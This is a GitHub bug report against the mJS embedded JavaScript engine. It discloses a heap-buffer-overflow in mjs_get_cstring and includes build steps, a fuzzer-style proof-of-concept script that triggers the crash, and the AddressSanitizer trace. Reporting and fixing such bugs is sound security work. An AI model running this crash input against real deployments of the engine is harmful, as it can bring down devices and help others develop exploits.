cesanta / mjs

Embedded JavaScript engine for C/C++
https://mongoose-os.com
Other
1.88k stars 172 forks source link

Heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring #197

Open hope-fly opened 2 years ago

hope-fly commented 2 years ago
mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js


```javascript
function JSEtest(a) {
  (typeof((typeof"cookie-present" !== gc("$$abcdabcd")) !== function() {
      return 100;
    })) !== function() {
      return 100;
    };

  if ("cookie-present" !== gc("$$abcdabcd"))
    gc(true);

  if (a < 10)
    load(gc(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp'])));;

  if (a < 1)
    JSEtest(a+1);;
}
JSEtest(0)
```

Execution steps & Output
$ ./mjs/build/mjs poc.js
=====ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000000203 at pc 0x5581d25fa021 bp 0x7ffff5880770 sp 0x7ffff5880760
READ of size 1 at 0x60f000000203 thread T0
    #0 0x5581d25fa020 in mjs_get_cstring src/mjs_string.c:213
    #1 0x5581d253f5aa in mjs_load src/mjs_builtin.c:58
    #2 0x5581d2559244 in mjs_execute src/mjs_exec.c:853
    #3 0x5581d2562a05 in mjs_exec_internal src/mjs_exec.c:1073
    #4 0x5581d2562a05 in mjs_exec_file src/mjs_exec.c:1096
    #5 0x5581d251f909 in main src/mjs_main.c:47
    #6 0x7f20b4fd4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x5581d2520449 in _start (/usr/local/bin/Gmjs+0xe449)

Address 0x60f000000203 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring
Shadow bytes around the buggy address:
  0x0c1e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1e7fff8000: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c1e7fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
  0x0c1e7fff8020: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
  0x0c1e7fff8030: 00 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa
=>0x0c1e7fff8040:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c1e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

Credits: Found by OWL337 team.